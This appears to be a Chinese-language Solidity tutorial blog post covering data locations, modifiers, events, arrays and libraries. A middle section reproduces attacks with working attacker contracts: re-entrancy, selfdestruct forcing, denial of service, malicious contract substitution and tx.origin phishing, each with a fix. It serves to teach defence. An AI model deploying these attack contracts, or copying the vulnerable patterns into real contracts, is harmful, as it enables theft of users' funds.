solidity中将地址转化为字节码，进行判断地址的所属权
solidity中将地址转化为字节码，进行判断地址的所属权例如可以进行参加领取礼物活动时只让用户领取，而恶意合约无法领取// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.4.0 <0.9.0; contract addressCode{ function getCode(address add) public view returns(bytes memory) { return address(add).code; } function gift() public view returns(uint256){ bytes memory senderCode = getCode(msg.sender); require(uint8(senderCode.length) == 0 ,unicode"合约不能调用，只能用户调用"); return senderCode.length; } function giftContruct(address add_) public view returns(uint256){ bytes memory senderCode = getCode(add_); // require(uint8(senderCode.length) == 0 ,unicode"合约不能调用，只能用户调用"); return senderCode.length; } }
solidity中的存储位置分为三种，使用memory、storage、calldata来进行区分：storage：属于状态变量，数据会存储在链上，仅适用于所有引用类型：string，bytes，数组，结构体，mapping等；memory：仅存储在内存中，供函数使用，数据不上链，适用于所有类型，包括：值类型（int，bool，bytes8等）引用类型（string，bytes，数组，结构体，mapping）calldata：存储函数的参数的位置，是只读的（只有calldata支持数组切片，状态变量不可以直接使用切片，需要new新数组，然后使用for循环解决）其他：Solidity 变量中 memory 、calldata 2 个表示作用非常类似，都是函数内部临时变量，它们最大的区别就是 calldata 是不可修改的，在某些只读的情况比较省 Gas.局部变量（此处指引用类型）默认是Storage类型的，只能将使用storage类型赋值，不能使用memory类型来赋值。// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract DataLocations { uint[] public arr = [1, 2, 3]; mapping(uint => address) public map; struct MyStruct { uint foo; } mapping(uint => MyStruct) public myStructs; function test() public { // get a struct from a mapping MyStruct storage myStruct = myStructs[1]; // create a struct in memory MyStruct memory myMemStruct = MyStruct(0); // call _f with state variables _f(arr, map, myStruct); //invalid convertion, failed to call // _f(arr, map, myMemStruct); _g(arr); this._h(arr); } function _f( uint[] storage _arr, mapping(uint => address) storage _map, MyStruct storage _myStruct ) internal { // do something with storage variables _arr.push(100); _map[20] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; _myStruct.foo = 20; } // You can return memory variables function _g(uint[] memory _arr) public returns (uint[] memory) { // do something with memory array _arr[0] = 100; } function _h(uint[] calldata _arr) external { // do something with calldata array // calldata is read-only // _arr[2] = 200; } }memory和storage进阶// SPDX-License-Identifier: MIT pragma solidity =0.8.10; import "hardhat/console.sol"; contract Test{ constructor() { personArrayGlobal.push(Person("Lily", 20, true)); personArrayGlobal.push(Person("James", 30, false)); } struct Person { string name; uint256 age; bool married; } Person[] public personArrayGlobal; // remix: "Lily", 20, true function changeTestMemory(Person[] memory _psersonArray) public { Person memory pTmp = _psersonArray[0]; // error, 不能基于memory对象创建storage对象 // Person storage pTmp = _psersonArray[0]; _innerChangeMemory(pTmp); console.log(pTmp.name); // David memory console.log(_psersonArray[0].name); // David memory，居然改变了！虽然在memory中，但是实际上也是传递的指针 uint256 tmpInt = 200; _innerChangeInt(tmpInt); console.log(tmpInt); // 200，指类型的变量，总是直接复制一份 } function _innerChangeInt(uint _newValue) internal pure { _newValue = 100; } function _innerChangeMemory(Person memory _p) internal pure { _p.name = "David memory"; _p.age = 30; _p.married = false; } function _innerChangeStorage(Person storage _p) internal { _p.name = "David Storage"; _p.age = 30; _p.married = false; } // run before changeTestGlobalWithStorage function changeTestGlobalWithMemory() public { Person memory pTmp = personArrayGlobal[0]; _innerChangeMemory(pTmp); // error，memory 不能赋值给storage // _innerChangeStorage(pTmp); console.log(pTmp.name); // David memory，memory中的变量改变了 console.log(personArrayGlobal[0].name); // Lily，原storage中数据未改变 } // run after changeTestGlobalWithMemory function changeTestGlobalWithStorage() public { Person storage pTmp = personArrayGlobal[0]; // storage 赋值给memory，完全拷贝 _innerChangeMemory(pTmp); console.log(pTmp.name); // Lily console.log(personArrayGlobal[0].name); // Lily // storage 赋值给storage，指针传递 _innerChangeStorage(pTmp); console.log(pTmp.name); // David console.log(personArrayGlobal[0].name); // David } }
1.重入攻击合约复现重入攻击原理就是在提钱进行转账交易的时候，黑客会将利用了回退函数在目标合约进行ETH转账时进行重入攻击，在攻击合约收到钱后会继续调用提钱函数，而不是直接到 balances[msg.sender] = 0; 这个步骤，从而达到将bank合约中的余额都提完。// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; /* EtherStore is a contract where you can deposit and withdraw ETH. This contract is vulnerable to re-entrancy attack. Let's see why. 1. Deploy EtherStore 2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore 3. Deploy Attack with address of EtherStore 4. Call Attack.attack sending 1 ether (using Account 3 (Eve)). You will get 3 Ethers back (2 Ether stolen from Alice and Bob, plus 1 Ether sent from this contract). What happened? Attack was able to call EtherStore.withdraw multiple times before EtherStore.withdraw finished executing. Here is how the functions were called - Attack.attack - EtherStore.deposit - EtherStore.withdraw - Attack fallback (receives 1 Ether) - EtherStore.withdraw - Attack.fallback (receives 1 Ether) - EtherStore.withdraw - Attack fallback (receives 1 Ether) */ contract EtherStore { mapping(address => uint) public balances; address public addr ; function deposit() public payable { addr =msg.sender; balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { // require(msg.value >= 1 ether,"invaild"); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } function pot() external payable {} // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } 预防办法可以加重入锁重入锁可能会消耗更多的gas，但是可以预防更大的损失。或者将清空余额的代码放到转账代码上面，但是这样可能会导致bank合约没钱导致转账失败，转账失败了还把用户的钱清空了 function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); balances[msg.sender] = 0; require(sent, "Failed to send Ether"); }// 用重入锁保护有漏洞的函数 function withdraw() external nonReentrant{ uint256 balance = balanceOf[msg.sender]; require(balance > 0, "Insufficient balance"); (bool success, ) = msg.sender.call{value: balance}(""); require(success, "Failed to send Ether"); balanceOf[msg.sender] = 0; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; contract ReEntrancyGuard { bool internal locked; modifier noReentrant() { require(!locked, "No re-entrancy"); locked = true; _; locked = false; } }2.整型溢出合约复现部署 Token 合约，将总供给设为 100。（相当于给创建者地址加了100代币）向另一个账户转账 1000 个代币，可以转账成功。查询自己账户的余额，发现是一个非常大的数字，约为2^256。查询刚刚转账接受者的余额发现也是1000个代币!预防办法Solidity 0.8.0 之前的版本，在合约中引用 Safemath 库，在整型溢出时报错。Solidity 0.8.0 之后的版本内置了 Safemath，因此几乎不存在这类问题。开发者有时会为了节省gas使用 unchecked 关键字在代码块中临时关闭整型溢出检测，这时要确保不存在整型溢出漏洞。3.自毁原理就是使用自毁函数强制将自己合约上的余额转到指定合约上selfdestruct 是 Solidity 语言中的一个特殊函数，用于销毁当前合约并将剩余的以太币发送到指定的地址上。address payable addr = payable(address(etherGame)); //使用paybale用于标识一个地址变量可以接收以太币的支付。 selfdestruct(addr);在例子中，selfdestruct(addr) 的作用是销毁 Attack 合约并将剩余的以太币发送到 addr（即 EtherGame 合约的地址）。这段代码的目的是让 Attack 合约向 EtherGame 合约发送以太币，使得 EtherGame 合约的余额大于等于 7 ether，从而破坏游戏规则并阻止其他玩家继续进行操作。需要注意的是，一旦调用了 selfdestruct 函数，合约的代码将被销毁，合约账户中的所有余额将被发送到指定的地址上，并且以后无法再调用合约的其他函数。在实际开发中，selfdestruct 函数通常用于销毁合约并将资金返回给某个预定的合约拥有者或其他指定地址，方便进行清算或转移。合约复现// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; // The goal of this game is to be the 7th player to deposit 1 Ether. // Players can deposit only 1 Ether at a time. // Winner will be able to withdraw all Ether. /* 1. Deploy EtherGame 2. Players (say Alice and Bob) decides to play, deposits 1 Ether each. 2. Deploy Attack with address of EtherGame 3. Call Attack.attack sending 5 ether. This will break the game No one can become the winner. What happened? Attack forced the balance of EtherGame to equal 7 ether. Now no one can deposit and the winner cannot be set. */ contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } contract Attack { EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { // You can simply break the game by sending ether so that // the game balance >= 7 ether // cast address to payable address payable addr = payable(address(etherGame)); selfdestruct(addr); } } 预防办法不要使用address(this).balance作为balance，另外命名有一个balance的变量用于记录合约的用户存款金额，这一样判断的就是这个变量balance，和合约地址剩余余额就没关系了// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract EtherGame { uint public targetAmount = 7 ether; uint public balance; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); balance += msg.value; require(balance <= targetAmount, "Game is over"); if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: balance}(""); require(sent, "Failed to send Ether"); } } 4.拒绝服务拒绝接受代币这个例子是让一个用户发送代币可以当国王，前提是发送的代币需要比上一个要多例如A用户发送了1个代币后（此时A用户是国王），比用户B发送了2个代币，然后回将用户A的代币退回给用户A，然后更新的国王信息合约复现// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract KingOfEther { address public king; uint public balance; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); (bool sent, ) = king.call{value: balance}(""); require(sent, "Failed to send Ether"); balance = msg.value; king = msg.sender; } } contract Attack { KingOfEther kingOfEther; constructor(KingOfEther _kingOfEther) { kingOfEther = KingOfEther(_kingOfEther); } /* fallback() external payable {} //在这里不写回调函数，让这个合约不接受代币，从而导致用户调用claimThrone()时虽然发送的代币已经大于balance，但是由于这个函数不接受代币，所以导致转账失败，无法更新国王信息，让游戏终止 */ function attack() public payable { kingOfEther.claimThrone{value: msg.value}(); } } 预防办法可以让用户自己提取代币，而不是自动发送，可以避免自动发送余额失败的情况// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract KingOfEther { address public king; uint public balance; mapping(address => uint) public balances; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); balances[king] += balance; balance = msg.value; king = msg.sender; } function withdraw() public { require(msg.sender != king, "Current king cannot withdraw"); uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } } 5.隐藏恶意代码合约复现也就是说部署Foo函数的时候传入的是Bar合约地址而是Mal合约地址（由于Mal和Bar都有log这个地址，所以解析和调用都成功了，如果mal没有log函数则调用不成功但是可以部署成功），则你调用Foo函数的callBar的函数的时候实际上调用的是Mal.log而不是Bar.log了，// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; /* Let's say Alice can see the code of Foo and Bar but not Mal. It is obvious to Alice that Foo.callBar() executes the code inside Bar.log(). However Eve deploys Foo with the address of Mal, so that calling Foo.callBar() will actually execute the code at Mal. 也就是说部署Foo函数的时候传入的是Bar合约地址而是Mal合约地址（由于Mal和Bar都有log这个地址，所以解析和调用都成功了，如果mal没有log函数则调用不成功但是可以部署成功），则你调用Foo函数的callBar的函数的时候实际上调用的是Mal.log而不是Bar.log了， */ /* 1. Eve deploys Mal 2. Eve deploys Foo with the address of Mal 3. Alice calls Foo.callBar() after reading the code and judging that it is safe to call. 4. Although Alice expected Bar.log() to be execute, Mal.log() was executed. */ contract Foo { Bar bar; constructor(address _bar) { bar = Bar(_bar); } function callBar() public { bar.log(); } } contract Bar { event Log(string message); function log() public { emit Log("Bar was called"); } } // This code is hidden in a separate file contract Mal { event Log(string message); // function () external { // emit Log("Mal was called"); // } // Actually we can execute the same exploit even if this function does // not exist by using the fallback function log() public { emit Log("Mal was called"); } } 预防办法Bar public bar; constructor() public { bar = new Bar(); //直接新建了一个Bar函数，不需要传入地址调用 } 不要使用链上的数据构造随机数很容易被黑客破解，因为链上数据都是公开的使用 chainlink VRF 构造随机数tx.origin合约复现origin（起源 ）故名思意，就是获取调用者的最初始的地址，比如小明使用 b合约进行调用a合约，a合约中的tx.origin就是小明的地址，但是msg.sender的地址就是a合约，因为是a合约进行调用的b合约// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; /* 1. Alice deploys Wallet with 10 Ether 2. Eve deploys Attack with the address of Alice's Wallet contract. 3. Eve tricks Alice to call Attack.attack() 4. Eve successfully stole Ether from Alice's wallet 欺骗Alice进行调用攻击地址，就会将合约地址上的余额全部转走， 怎么欺骗？例如：《按一下给你糖吃》把这个攻击合约换成 按一下有惊喜 What happened? Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it requested a transfer of all funds in Alice's wallet to Eve's address. Since tx.origin in Wallet.transfer() is equal to Alice's address, it authorized the transfer. The wallet transferred all Ether to Eve. */ contract Wallet { address public owner; address public origin; address public dd; constructor() payable { owner = msg.sender; origin = tx.origin; } function transfer(address payable _to, uint _amount) public { origin = tx.origin; //调用attack的人地址 dd = msg.sender; //attack的合约地址 require(tx.origin == owner, "Not owner"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } } contract Attack { address payable public owner; Wallet wallet; constructor(Wallet _wallet) { wallet = Wallet(_wallet); owner = payable(msg.sender); } function attack() public { wallet.transfer(owner, address(wallet).balance); } } 预防办法不要使用tx.origin进行判断所有者，使用msg.sender进行判断是不是所有者require(msg.sender == owner)
solidity快速入门从实战角度讲解solidity --- 学无止尽，本篇文章会持续更新在变量前使用public修饰等于自动帮他创建一个get函数不可变类型在 Solidity 中，constant 是一个修饰符，用于声明函数的状态。它指示函数不会修改或访问合约的状态。具体来说，constant 表示一个函数是只读的，不会修改合约中的数据。在变量前加一个constant表示变量不可被修改string constant str001 = "hell";//constant修饰的不可变量 //SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract Constants { string public constant addr1 = "0x1"; // 定义常量不可更改 // string public immutable addr2 = "0x2"; //string无法使用immutable address public constant addr3 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; function setAddr1() public { // addr1 = "0x111"; // 这行代码会报错，因为 addr1 是 constant 的 } }//immutable修饰的不可变量 //SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract Immutable{ bytes32 public immutable STR; address public address1 ; // 合约部署时自动初始化的值 ,immutable只能在constructor初始化时才能修改/定义 constructor(){ STR = "hi"; address1 = msg.sender; } }函数处理变量在 Solidity 中，有几种不同的数据位置用于处理函数参数和变量。这些位置包括 memory、storage 和 calldata。memory：表示数据将被存储在临时内存中。这适用于函数内部创建的变量或函数参数，因为它们只在函数执行期间存在，并在函数执行后被清除。storage：表示数据将被永久存储在区块链的状态中。这适用于合约的状态变量，它们在合约被部署后一直存在。calldata：表示数据位于交易的输入数据中，它在函数调用期间被读取。这适用于函数的参数，特别是在从外部调用合约时，参数通常会出现在事务数据中。在 Solidity 函数中，参数的数据位置默认情况下是 calldata。但是对于字符串类型，必须显式指定数据位置为 memory 或 calldata，以便在函数内部使用它们。//SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract getandset{ string public name1 ; function set(string memory _name) public{ name1 = _name; } function get()view public returns(string memory greeting){ return name1; } } function get()view public returns(string memory a){ a = "11"; //直接复制returns的参数，不需要写return可以直接进行赋值返回 }在有多个变量的时候可以更好的展示，用前缀greeting（自定义的），在获取实际数据的时候不会展示前缀，也可以理解为更清晰的让你看懂这个代码返回的参数是什么意思function函数返回值// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract Function { // Functions can return multiple values. function returnMany() public pure returns (uint, bool, uint) { return (1, true, 2); } // Return values can be named. function named() public pure returns (uint x, bool b, uint y) { return (1, true, 2); } // Return values can be assigned to their name. // In this case the return statement can be omitted. function assigned() public pure returns (uint x, bool b, uint y) { x = 1; b = true; y = 2; } // Use destructuring assignment when calling another // function that returns multiple values. function destructuringAssignments() public pure returns (uint, bool, uint, uint, uint) { (uint i, bool b, uint j) = returnMany(); //调用上面的函数进行返回值传参 // Values can be left out. (uint x, , uint y) = (4, 5, 6); //相当于x=4 y=6 return (i, b, j, x, y); } // Cannot use map for either input or output // Can use array for input function arrayInput(uint[] memory _arr) public {} // Can use array for output uint[] public arr; function arrayOutput() public view returns (uint[] memory) { return arr; } } // Call function with key-value inputs contract XYZ { function someFuncWithManyInputs( uint x, uint y, uint z, address a, bool b, string memory c ) public pure returns (uint) {} function callFunc() external pure returns (uint) { return someFuncWithManyInputs(1, 2, 3, address(0), true, "c"); } function callFuncWithKeyValue() external pure returns (uint) { return someFuncWithManyInputs({a: address(0), b: true, c: "c", x: 1, y: 2, z: 3}); } }modifier自定义修饰器修饰符可以传参// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract modifiertest{ address public owner; string public name; constructor(){ owner = msg.sender; name = "nbsb"; } modifier OnlyOwner(){ require(msg.sender == owner,"you are not contract owner"); _; //要在require后面 继续下面的函数主体的意思 } modifier NotGtZero(string memory _name){ //modifier可以接受参数 require(bytes(_name).length >0 , "invalid Name"); _; } modifier VaildAddress(address _address){ require(_address != address(0) , "invalid address"); //可以判断账户地址是否有效，需要存在才可以 _; } function setName(string memory _name) public OnlyOwner NotGtZero(_name){ //使用修饰器这样就会先判断调用者是否符合条件（是否是拥有者）/ 还可以判断name是否为0 使用了2个modifier name = _name; } // // 等同于这样 // function setName(string memory _name) public OnlyOwner NotGtZero(_name){ // require(msg.sender == owner,"you are not contract owner"); // require(bytes(_name).length >0 , "invalid Name"); // name = _name; // } function getName() public view returns(string memory) { return name; } }函数修饰符可以在函数主题之前条用 也可以在函数主题之后甚至中间被调用//例如这样可以防止重注攻击 modifier noReentrancy() { require(!locked, "No reentrancy"); locked = true; _; locked = false; }pragma solidity ^0.8.17; contract ExampleContract { address public owner; uint public balance; bool public locked; constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } modifier noReentrancy() { require(!locked, "No reentrancy"); locked = true; _; locked = false; } function withdraw(uint _amount) public onlyOwner noReentrancy { require(balance >= _amount, "Insufficient balance"); // 假设在取款时，需要执行一些复杂的逻辑或调用其他合约。 // 在这个例子中，我们调用了一个名为`reentrantFunction`的函数，这个函数可能会尝试重入`withdraw`函数。 // 重入比如就是 在调用一次 withdraw 函数 // 正常的取款逻辑 balance -= _amount; // 调用可能尝试重入的函数 reentrantFunction(_amount); } function reentrantFunction(uint _amount) private { require(balance >= _amount, "Insufficient balance"); // 在这里进行重入攻击的尝试 // 假设攻击者尝试进行转账操作，从该合约再次调用`withdraw`函数 // 没有使用修饰器的情况下，重入攻击可能会导致合约的余额被重复转出。 // 使用了`noReentrancy`修饰器后，重入攻击会被检测并阻止。 // 注意：此处为了演示目的，没有进行实际的转账操作。 // 实际应用中，应该根据业务逻辑来处理资金转移。 balance -= _amount; } }修饰器noReentrancy用来防止重入攻击。它通过一个名为lock的布尔变量来管理函数的执行权限。当一个函数被调用时，首先要检查lock变量的值，如果为false，则将lock设置为true，表示函数正在执行。然后执行函数的代码（通过_占位符），最后将lock设置为false，表示函数执行完成。// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract modifiertest{ bool public locked; int public x; modifier noReentrancy() { require(!locked, "No reentrancy"); locked = true; _; locked = false; } function decrement(int i) public noReentrancy { //因为加入了noReentranct x -= i; if (i > 1) { decrement(i - 1); //这里重新调用此函数的时候会抛出错误 } } }Events 进行记录可以进行监听事件// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Event{ //使用 indexed 关键字可以为事件参数创建索引，从而提高事件过滤和搜索的效率 //只能通过列入js等进行过滤索引 event Log(address indexed sender , string message); event AnotherLog(); function test() public{ emit Log(msg.sender,"hhh"); emit Log(msg.sender,"nihao"); emit Log(msg.sender,"hello world"); emit Log(msg.sender,"nbsb is me"); emit AnotherLog(); //只触发了这个事件，但是并没有传递任何参数 } }pure和view的相同点和不同点pure 和 view 都是 Solidity 中的函数修饰符，用于声明一个函数不会修改状态。它们之间的共同点和不同点如下：共同点：都用于标识函数不会对区块链状态产生改变。都仅能读取数据而不能修改数据。不同点：pure 修饰的函数不能读取或修改除函数参数以外的任何数据。它是用于执行纯粹的计算，不涉及任何外部信息的函数。例如，计算两个数的乘积而不涉及合约状态或外部调用的函数，可以使用 pure 修饰。view 修饰的函数可以读取合约内的数据，但不能修改任何状态。它用于函数在执行期间只读取数据的情况。例如，读取合约的状态变量或调用其他 view 函数的函数，可以使用 view 修饰。在选择使用哪个修饰符时，根据你的需求来确定：如果函数内部只执行计算操作而不涉及合约状态和其他外部信息，可选用 pure，这样会使函数更明确且限制了函数的行为范围。如果函数仅读取数据而不修改状态，而且可能需要访问合约内的状态变量或调用其他 view 函数，可选用 view。// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract ifElse { //不涉及合约状态和其他外部信息，直接使用pure function iforno(uint x) public pure returns(string memory) { if(x < 10){ return "lt 10"; } else if(x < 20){ return "lt 20"; } else { return "gt 20"; } } function ternary(uint _x) public pure returns(string memory){ return _x >20 ? "gt 20" :"lt 20"; //三元运算符 } }//SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract getandset{ string public name1 ; function set(string memory _name) public{ name1 = _name; } //设计合约状态和需要用合约中的参数可以用view function get()view public returns(string memory greeting,int numberNB){ return (name1,1); } }mapping// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract mpas { mapping(int=>address) public mapss ; string public aa ; function addmap(int x,string memory y) public { mapss[x] = msg.sender; aa = y; } function get(int x2) public view returns(address){ return mapss[x2]; } }Array// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Array013{ uint[] public arr1 = [1,2,3,4,5]; //动态数组初始长度 uint[10] public arr2 ; //固定长度默认每个元素都是0 / 不支持push function getArray1() view public returns(uint[] memory) { return arr1; } function getArray2() view public returns(uint[10] memory){ return arr2; } function pushArr1(uint x) public { arr1.push(x); } function pushArr2(uint x , uint y ) public { arr2[x] = y; } function popArray1() public { arr1.pop(); //删除最后一个数字 }// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Array013{ uint[] public arr1 = [1,2,3,4,5]; //动态数组初始长度 uint[10] public arr2 ; //固定长度默认每个元素都是0 / 不支持push function getArray1() view public returns(uint[] memory) { return arr1; } function getArray2() view public returns(uint[10] memory){ return arr2; } function pushArr1(uint x) public { arr1.push(x); } function pushArr2(uint x , uint y ) public { arr2[x] = y; } function popArray1() public { arr1.pop(); //删除最后一个数字 } function getArray1length() public view returns(uint){ return arr1.length; //返回长度 } function deleteArray1(uint index ) public { delete arr1[index]; //并不是删除，是将这个索引的值转为初始值也就是0（使用pop可以删除最后一个元素） } function examples() external{ uint[] memory a = new uint[](5); //创建一个只有5个数组的array } }删除数组中的指定索引的元素，实际上就是替换数组指定索引依次替换为后一位，然后使用pop将最后一个元素进行删除，即可完成替换// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract removeArray{ // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3] // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6] // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6] // [1] -- remove(0) --> [1] --> [] uint[] public arr= [1,2,3,4,5,6,7,8]; function remove(uint _index) public { require(_index < arr.length, "index out of bound"); for (uint i = _index; i < arr.length - 1; i++) { arr[i] = arr[i + 1]; } arr.pop(); } //这个方法是直接将最后一个元素和自己需要删除的元素进行替换，替换后删除最后一个元素，缺点就是顺序会变，如果没有顺序需求可以用这个方法，效率会高一些 function remove001(uint _index) public { require(_index < arr.length, "index out of bound"); arr[_index] = arr[arr.length -1]; arr.pop(); } function getArray() view public returns(uint[] memory){ return arr; } }枚举体Enum// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Enum{ enum Status{Pening,shiipped,nbsb} Status public status; function get() public view returns(Status){ return status; //获取的是这个枚举体的索引 } function getStatus() public view returns (string memory) { if (status == Status.Pening) { return "Pening"; } else if (status == Status.shiipped) { return "shiipped"; } else if (status == Status.nbsb) { return "nbsb"; } else { revert("Invalid status"); } } function set(Status _status) public { //就算设置也只能设置上面枚举的索引，不然会报错 status = _status; } function setPening() public { status = Status.Pening;//设置这个枚举具体数的索引（这个函数表示为设置为Pening的索引） } // delete resets the enum to its first value, 0 function reset() public { delete status; //将这个值还原 } }这个也是可以直接将枚举体放到一个文件中，在另一个文件种引用这个枚举体enum的文件夹结构体struct// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract Struct{ struct Person{ string name; int age; int id; } Person[] public persons; function add(string memory _name, int _age, int _id) public{ require(bytes(_name).length > 0 ,"invild _name"); require(_age != 0 ,"invild age"); require(_id != 0 ,"invild id"); Person memory people = Person(_name,_age,_id); // Person memory people = Person({name:_name,id:_id,age:_age}); //使用参数传入，不需要位置一一对应就可以进行传参 //还有一个方法就是新建一个Person的对象然后将对象的每个值分别复制后在push到这里，推荐直接使用第一种方法简洁明了 persons.push(people); } function getPersonName(uint _index) view public returns(string memory){ require(_index < persons.length ,"please input lt persons index"); return persons[_index].name ; } function getPersonN(uint _index) view public returns(Person memory){ require(_index < persons.length ,"please input lt persons index"); return persons[_index] ; } //修改这个值 function updata(uint x , string memory _name) public { persons[x].name = _name; } }这个也是可以直接将结构体放到一个文件中，在另一个文件种引用这个结构体struct的文件夹修饰符pure：该修饰符用于声明函数不会读取或修改合约的状态，并且不会调用其他的非pure或非view函数。这意味着pure函数不会有副作用，只返回根据输入参数计算得出的结果。使用pure修饰符可以让编译器优化函数的执行。const：该修饰符是pure的同义词，在Solidity 0.6.0之前的版本中使用。在Solidity 0.6.0及更高版本中，建议使用pure而不是const。view：该修饰符用于声明函数只读取合约的状态，而不会修改合约的状态。view函数可以调用其他的view和pure函数，但不可以调用其他类型的函数，包括non-payable和payable函数。与pure函数类似，view函数也可以让编译器进行优化。在Solidity中，可以使用pure修饰符来声明函数时不会访问或修改合约状态的纯函数。纯函数只依赖于输入参数，并根据输入参数计算并返回结果，对合约状态没有任何影响。// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract MathOperations { function add(uint a, uint b) public pure returns (uint) { return a + b; } function multiply(uint a, uint b) public pure returns (uint) { return a * b; } function exponentiation(uint base, uint exponent) public pure returns (uint) { return base ** exponent; } }将函数映射到一个foods中，用的时候可以直接实例化出来mapping (uint256 => address) foods; FoodInfoItem food = new FoodInfoItem(name, traceName, quality, msg.sender); foods[traceNumber] = food; FoodInfoItem(foods[traceNumber]) //可以直接映射出来使用//SPDX-License-Identifier:MIT pragma solidity ^0.8.18; contract Variablez{ //使用type函数获取变量最大值最小值 int32 public a = type(int32).max; function dosomthing() public view returns(uint) { uint number = 99; uint time = block.timestamp; address sender = msg.sender; return time; } } 合约继承想要在子合约中继承可以使用 is 进行继承重写父合约方法可以在子合约函数上用override修饰符同时父合约要加 virtual修饰符//子合约中 function dosomthing() public pure override returns(uint) { uint number = 88; return number; } //父合约中 function dosomthing() public pure virtual returns(uint) { uint number = 99; return number; }余额转移// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; contract DappTest{ uint public aa ; uint public bb = 100; function found() payable public{ require(msg.value > 100 wei,"not great than 100wei"); } function withdraw() public{ aa = address(this).balance ; bb = 100; //取钱三种方法： send transfer call //send和transfer显示2300gas call不限制 // msg.sender 是接收方地址 address(this)是合约地址 // payable(msg.sender).transfer(address(this).balance); // bool senSuccess = payable(msg.sender).send(address(this).balance); // require(senSuccess,"send failed"); // 这个bytes直接设置为空的，所以可以直接写不接受也可以 (bool callSuccess ,bytes memory a) = payable(msg.sender).call{value:aa}(""); require(callSuccess,"failed"); } }libraryusing的前提是需要直接或者间接的导入某个library.// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; // 定义一个库合约 library MathUtils { function add(uint a, uint b) public pure returns (uint) { return a + b; } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; import "./useing1.sol"; // 使用库合约 contract MyContract { // 引入库合约 using MathUtils for uint; //只要是uint类型的都可以调用MathUtils中的函数 function myFunction(uint a, uint b) public pure returns (uint) { // 调用库合约中的函数 return a.add(b); } }这样说更容易理解： using A for B,这里A通常是某个library，B是某种数据类型，这句话是把A中的方法绑定到B类型上，相当于给B类型附加了A库中的方法。（也有翻译为附着库的） 比如 using SafeMath for uint256，SafeMath是库，for uint256，表示，SafeMath库中的方法绑定到uint256这个类型，那么uint256类型的实例可以直接调用SafeMath库中的所有方法； 然后库SafeMath里面有定义一个add(uint256 a,uint256 b)方法。 我们有一个uint256 c;那么可以这样调用c.add(d)，执行结果相当于c+d, add方法在定义的时候，第一个参数会是一个uint256类型的变量，表示调用者。实战用例：（将类型赋值为library中的struct变量，这样就可以只能使用这个赋值的变量进行调用了）为什么这里使用的storage而不使用memory？使用 storage 主要是因为需要修改存储位置上的数据或读取最新的存储位置。当需要直接访问或修改合约的状态变量时，就需要使用 storage。而使用 memory 是为了临时存储和操作数据，在函数执行结束后会被清除。uint[0]和uint[](0)的区别uint[0] 和 uint[](0) 在 Solidity 中有不同的含义：uint[0]：表示一个固定大小为 0 